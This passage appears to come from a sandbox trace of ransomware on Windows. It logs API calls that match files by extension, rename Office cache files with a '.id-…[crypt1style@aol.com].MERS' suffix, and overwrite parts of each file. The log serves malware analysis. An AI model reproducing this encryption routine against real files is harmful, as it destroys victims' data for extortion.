(lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0040.738] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0040.738] lstrlenW (lpString=".doc") returned 4 [0040.738] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0040.738] lstrlenW (lpString=".docx") returned 5 [0040.738] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0040.738] lstrlenW (lpString=".pdf") returned 4 [0040.738] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0040.738] lstrlenW (lpString=".xls") returned 4 [0040.738] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0040.738] lstrlenW (lpString=".xlsx") returned 5 [0040.738] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0040.738] lstrlenW (lpString=".ppt") returned 4 [0040.738] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0040.738] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0040.738] lstrlenW (lpString=".zip") returned 4 [0040.738] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0040.738] lstrlenW (lpString=".rar") returned 4 [0040.738] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0040.738] lstrlenW (lpString=".bz2") returned 4 [0040.738] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0040.738] lstrlenW (lpString=".7z") returned 3 [0040.738] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0040.738] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0040.738] lstrlenW (lpString=".dbf") returned 4 [0040.739] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0040.739] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0040.739] lstrlenW (lpString=".1cd") returned 4 [0040.739] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0040.739] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0040.739] lstrlenW (lpString=".jpg") returned 4 [0040.739] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0040.739] lstrcmpiW (lpString1=".cab", lpString2=".MERS") returned -1 [0040.739] lstrlenW (lpString="Proof.cab") returned 9 [0040.739] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0040.739] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=21064532) returned 1 [0040.739] CloseHandle (hObject=0x200) returned 1 [0040.739] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab")) returned 0x2020 [0040.740] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0040.740] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[crypt1style@aol.com].mers")) returned 1 [0040.747] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0040.747] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc6c | out: lpNewFilePointer=0x0) returned 1 [0040.747] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc2c | out: lpNewFilePointer=0x0) returned 1 [0040.747] ReadFile (in: hFile=0x200, lpBuffer=0x3510058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3510058*, lpNumberOfBytesRead=0x2a8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0040.885] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x6b23c6, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc2c | out: lpNewFilePointer=0x0) returned 1 [0040.885] ReadFile (in: hFile=0x200, lpBuffer=0x3550058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3550058*, lpNumberOfBytesRead=0x2a8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0041.137] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2a8fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0041.137] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x13d6b54, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc2c | out: lpNewFilePointer=0x0) returned 1 [0041.137] ReadFile (in: hFile=0x200, lpBuffer=0x3590058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3590058*, lpNumberOfBytesRead=0x2a8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0041.230] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.230] WriteFile (in: hFile=0x200, lpBuffer=0x3510020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x2a8fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3510020*, lpNumberOfBytesWritten=0x2a8fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0041.245] SetEndOfFile (hFile=0x200) returned 1 [0041.245] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x40000) returned 0x3fd7e38 [0041.287] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc7c | out: lpNewFilePointer=0x0) returned 1 [0041.287] WriteFile (in: hFile=0x200, lpBuffer=0x3fd7e38*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd7e38*, lpNumberOfBytesWritten=0x2a8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0041.346] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x6b23c6, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc7c | out: lpNewFilePointer=0x0) returned 1 [0041.346] WriteFile (in: hFile=0x200, lpBuffer=0x3fd7e38*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd7e38*, lpNumberOfBytesWritten=0x2a8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0041.346] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x13d6b54, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc7c | out: lpNewFilePointer=0x0) returned 1 [0041.346] WriteFile (in: hFile=0x200, lpBuffer=0x3fd7e38*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd7e38*, lpNumberOfBytesWritten=0x2a8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0041.348] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3fd7e38 | out: hHeap=0x5f0000) returned 1 [0041.352] CloseHandle (hObject=0x200) returned 1 [0042.708] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0042.708] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0042.708] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0042.708] lstrlenW (lpString=".doc") returned 4 [0042.708] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0042.708] lstrlenW (lpString=".docx") returned 5 [0042.708] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0042.708] lstrlenW (lpString=".pdf") returned 4 [0042.708] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0042.708] lstrlenW (lpString=".xls") returned 4 [0042.708] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0042.709] lstrlenW (lpString=".xlsx") returned 5 [0042.709] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0042.709] lstrlenW (lpString=".ppt") returned 4 [0042.709] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0042.709] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0042.709] lstrlenW (lpString=".zip") returned 4 [0042.709] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0042.709] lstrlenW (lpString=".rar") returned 4 [0042.709] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0042.709] lstrlenW (lpString=".bz2") returned 4 [0042.709] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0042.709] lstrlenW (lpString=".7z") returned 3 [0042.709] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0042.709] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0042.709] lstrlenW (lpString=".dbf") returned 4 [0042.709] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0042.709] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0042.709] lstrlenW (lpString=".1cd") returned 4 [0042.709] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0042.709] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0042.709] lstrlenW (lpString=".jpg") returned 4 [0042.709] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0042.709] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0042.709] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0042.709] lstrlenW (lpString=".doc") returned 4 [0042.709] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0042.710] lstrlenW (lpString=".docx") returned 5 [0042.710] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0042.710] lstrlenW (lpString=".pdf") returned 4 [0042.710] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0042.710] lstrlenW (lpString=".xls") returned 4 [0042.710] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0042.710] lstrlenW (lpString=".xlsx") returned 5 [0042.710] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0042.710] lstrlenW (lpString=".ppt") returned 4 [0042.710] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0042.710] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0042.710] lstrlenW (lpString=".zip") returned 4 [0042.710] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0042.710] lstrlenW (lpString=".rar") returned 4 [0042.710] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0042.710] lstrlenW (lpString=".bz2") returned 4 [0042.710] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0042.710] lstrlenW (lpString=".7z") returned 3 [0042.710] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0042.710] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0042.710] lstrlenW (lpString=".dbf") returned 4 [0042.710] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0042.710] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0042.710] lstrlenW (lpString=".1cd") returned 4 [0042.710] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0042.710] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0042.711] lstrlenW (lpString=".jpg") returned 4 [0042.711] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0042.711] lstrcmpiW (lpString1=".msi", lpString2=".MERS") returned 1 [0042.711] lstrlenW (lpString="InfoPathMUI.msi") returned 15 [0042.711] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0042.711] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=3124224) returned 1 [0042.711] CloseHandle (hObject=0x200) returned 1 [0042.711] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi")) returned 0x2020 [0042.712] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0042.712] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.id-9c354b42.[crypt1style@aol.com].mers")) returned 1 [0042.712] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0042.712] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc6c | out: lpNewFilePointer=0x0) returned 1 [0042.712] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.713] ReadFile (in: hFile=0x200, lpBuffer=0x3510058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3510058*, lpNumberOfBytesRead=0x2a8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.729] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0xfe400, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.729] ReadFile (in: hFile=0x200, lpBuffer=0x3550058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3550058*, lpNumberOfBytesRead=0x2a8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.770] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2a8fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0042.770] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x2bac00, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.770] ReadFile (in: hFile=0x200, lpBuffer=0x3590058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3590058*, lpNumberOfBytesRead=0x2a8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.936] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.936] WriteFile (in: hFile=0x200, lpBuffer=0x3510020*, nNumberOfBytesToWrite=0xc010a, lpNumberOfBytesWritten=0x2a8fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3510020*, lpNumberOfBytesWritten=0x2a8fcb0*=0xc010a, lpOverlapped=0x0) returned 1 [0042.960] SetEndOfFile (hFile=0x200) returned 1 [0042.960] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x40000) returned 0x3f32008 [0043.176] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc7c | out: lpNewFilePointer=0x0) returned 1 [0043.176] WriteFile (in: hFile=0x200, lpBuffer=0x3f32008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f32008*, lpNumberOfBytesWritten=0x2a8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.177] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0xfe400, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc7c | out: lpNewFilePointer=0x0) returned 1 [0043.177] WriteFile (in: hFile=0x200, lpBuffer=0x3f32008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f32008*, lpNumberOfBytesWritten=0x2a8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.183] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x2bac00, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc7c | out: lpNewFilePointer=0x0) returned 1 [0043.183] WriteFile (in: hFile=0x200, lpBuffer=0x3f32008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f32008*, lpNumberOfBytesWritten=0x2a8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.185] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3f32008 | out: hHeap=0x5f0000) returned 1 [0043.185] CloseHandle (hObject=0x200) returned 1 [0043.257] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0043.257] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0043.257] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0043.257] lstrlenW (lpString=".doc") returned 4 [0043.257] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0043.258] lstrlenW (lpString=".docx") returned 5 [0043.258] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0043.258] lstrlenW (lpString=".pdf") returned 4 [0043.258] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0043.258] lstrlenW (lpString=".xls") returned 4 [0043.258] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0043.258] lstrlenW (lpString=".xlsx") returned 5 [0043.258] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0043.258] lstrlenW (lpString=".ppt") returned 4 [0043.258] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0043.258] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0043.258] lstrlenW (lpString=".zip") returned 4 [0043.258] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0043.258] lstrlenW (lpString=".rar") returned 4 [0043.258] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0043.258] lstrlenW (lpString=".bz2") returned 4 [0043.258] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0043.258] lstrlenW (lpString=".7z") returned 3 [0043.258] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0043.258] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0043.258] lstrlenW (lpString=".dbf") returned 4 [0043.258] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0043.258] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0043.258] lstrlenW (lpString=".1cd") returned 4 [0043.258] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0043.258] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0043.258] lstrlenW (lpString=".jpg") returned 4 [0043.258] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0043.258] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0043.258] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0043.258] lstrlenW (lpString=".doc") returned 4 [0043.258] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0043.258] lstrlenW (lpString=".docx") returned 5 [0043.258] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0043.258] lstrlenW (lpString=".pdf") returned 4 [0043.258] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0043.258] lstrlenW (lpString=".xls") returned 4 [0043.259] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0043.259] lstrlenW (lpString=".xlsx") returned 5 [0043.259] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0043.259] lstrlenW (lpString=".ppt") returned 4 [0043.259] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0043.259] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0043.259] lstrlenW (lpString=".zip") returned 4 [0043.259] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0043.259] lstrlenW (lpString=".rar") returned 4 [0043.259] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0043.259] lstrlenW (lpString=".bz2") returned 4 [0043.259] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0043.259] lstrlenW (lpString=".7z") returned 3 [0043.259] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0043.259] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0043.259] lstrlenW (lpString=".dbf") returned 4 [0043.259] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0043.259] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0043.259] lstrlenW (lpString=".1cd") returned 4 [0043.259] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0043.259] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0043.259] lstrlenW (lpString=".jpg") returned 4 [0043.259] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0043.259] lstrcmpiW (lpString1=".msi", lpString2=".MERS") returned 1 [0043.259] lstrlenW (lpString="OneNoteMUI.msi") returned 14 [0043.259] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0043.260] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=2503680) returned 1 [0043.260] CloseHandle (hObject=0x200) returned 1 [0043.260] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi")) returned 0x2020 [0043.260] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0043.260] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.id-9c354b42.[crypt1style@aol.com].mers")) returned 1 [0043.260] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 